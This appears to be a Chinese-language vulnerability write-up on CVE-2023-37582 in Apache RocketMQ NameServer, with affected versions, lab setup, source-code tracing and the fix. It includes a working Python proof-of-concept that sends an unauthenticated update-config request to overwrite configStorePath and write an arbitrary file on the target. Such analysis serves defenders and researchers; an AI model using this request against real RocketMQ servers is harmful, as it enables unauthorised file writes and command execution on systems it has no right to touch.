CVE-2023-37582 Apache RocketMQ 远程代码执行漏洞

chatgpt/2023/9/26 13:27:44
94de55247dd138a9c57721a998e4cc01.jpeg

漏洞简介

Apache RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。CVE-2023-37582 中,由于对 CVE-2023-33246 修复不完善,导致在Apache RocketMQ NameServer 存在未授权访问的情况下,攻击者可构造恶意请求以RocketMQ运行的系统用户身份执行命令。

影响版本

Apache RocketMQ <= 5.1.1
Apache RocketMQ <= 4.9.6

环境搭建

参考 Apache RocketMQ 远程代码执行漏洞 CVE-2023-33246 的环境搭建

还是为了方便进行调试,我们再 linux 下搭建 RocketMQ 的相关服务,利用源码启动

一共需要运行两个服务

org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup

先启动 NamesrvStartup,再启动 BrokerStartup 同时都需要配置环境变量 ROCKETMQ_HOME
ROCKETMQ_HOME=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0

ce259a67f9336d848a4974094c449948.jpeg 6562608b2162b6b6fcf7046c9b89ba6c.jpeg

漏洞复现

运行 python 脚本

import socket
import binascii
client = socket.socket()# you ip
client.connect(('192.168.222.130',9876))# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]      # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
0c9a849138989601b1aaf0d15cfb9375.jpeg db6dfca204f2e35fff6b4c65bf2dfe8f.jpeg

成功在 tmp 目录下的 test.txt 文件中写入指定字符串 test

漏洞分析

org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能,此时调用的是318 更新配置的操作

src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java

339c1c64817c0b2140c5eb6c36a918f2.jpeg

根据对应的 code 会调用 对应的函数进行处理

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java

e3e2f76be6dfa323c0d1798843d4b087.jpeg

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig

86a2d7447cc3571a9c52021fa3655c77.jpeg

src/main/java/org/apache/rocketmq/remoting/Configuration.java#update

a998daed5aee9f59a283e7f60dc314f1.jpeg

首先判断是不是属于可控的属性

src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist

7085a69b00298b69c6a00b5b35096846.jpeg

src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath

789143faf5c9b3c921465bc7096d4902.jpeg

调用 getStorePath 获取文件路径,此时获取的值是 configStorePath 的值

src/main/java/org/apache/rocketmq/common/MixAll.java#string2File

e841b4f02e0a11ea9ac523e006008c76.jpeg

src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe

682779227b07affabc38b789e29a59cc.jpeg

src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile

f1d3eb33fa5177e262af109cf983e78b.jpeg

漏洞修复

修改禁用修改配置路径的参数

472dbac233e74fd8173fe7202843331b.jpeg

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

66eca8269d9c23fc74bb190f293f930c.gif

靶场实操,戳“阅读原文“

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.exyb.cn/news/show-5314930.html

如若内容造成侵权/违法违规/事实不符,请联系郑州代理记账网进行投诉反馈,一经查实,立即删除!

相关文章

实景三维在城中村改造中的应用

背景介绍 近日召开的国务院常务会议审议通过了《关于在超大特大城市积极稳步推进城中村改造的指导意见》。会议指出&#xff0c;在超大特大城市积极稳步实施城中村改造是改善民生、扩大内需、推动城市高质量发展的一项重要举措。 28日在京召开在超大特大城市积极稳步推进城中…

hbase优化:客户端、服务端、hdfs

hbase优化 一.读优化 1.客户端&#xff1a; scan。cache 设置是否合理&#xff1a;大scan场景下将scan缓存从100增大到500或者1000&#xff0c;用以减少RPC次数使用批量get进行读取请求离线批量读取请求设置禁用缓存&#xff0c;scan.setBlockCache(false)以指定列族或者列进行…

Linux操作系统学习,Linux基础命令大全

目录 第一章、Linux简介和安装1.1&#xff09;Linux简介和分类1.2&#xff09;安装VMware虚拟机&#xff0c;在虚拟机中安装CentOS 7 第二章、虚拟机中Linux的IP地址配置详解2.1&#xff09;什么是IP地址&#xff0c;如何查看2.2&#xff09;虚拟机NAT模式中Linux的IP地址设置有…

vue3+ts 实现文件上传(包含上传、下载、和预览功能),番外(接口请求封装)

公共组件 上传文件包含上传、下载、和预览功能 <!-- 上传文件 --> <template><div class"demo-image__preview"><el-image-viewerhide-on-click-modalclose"() > {showViewer false;}"v-if"showViewer":url-list"…

章节5:SQL注入之WAF绕过

章节5&#xff1a;SQL注入之WAF绕过 5.1 SQL注入之WAF绕过上 WAF拦截原理&#xff1a;WAF从规则库中匹配敏感字符进行拦截。 5.2 SQL注入之WAF绕过下 &#xff08;原理简单了解&#xff09; 关键词大小写绕过 有的WAF因为规则设计的问题&#xff0c;只匹配纯大写或纯小写的…

LAD Oracle dataguard KSR

LAD *log_archive_dest 20/07/2023 10:08:37 2 Error 1089 disconnecting from LAD:2 standby host pkgprddg 20/07/2023 10:08:37 3 Error 1089 disconnecting from LAD:2 standby host

SI24R2H 2.4G+125K中长跑应用原理

一、中长跑计时系统应用背景 采用125KHZ低频唤醒高频射频识别系统和先进的技术、计算机信息处理等高新技术与体育竞赛相结合&#xff0c;便于运动员携带而不影响其跑步状态&#xff0c;当运 动员带着射频识别卡经过计时线圈时&#xff0c;读卡天线能够立即检测到通过的卡片信息…

接口自动化测试-Jmeter+ant+jenkins实战持续集成(详细)

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 1、下载安装配置J…
推荐文章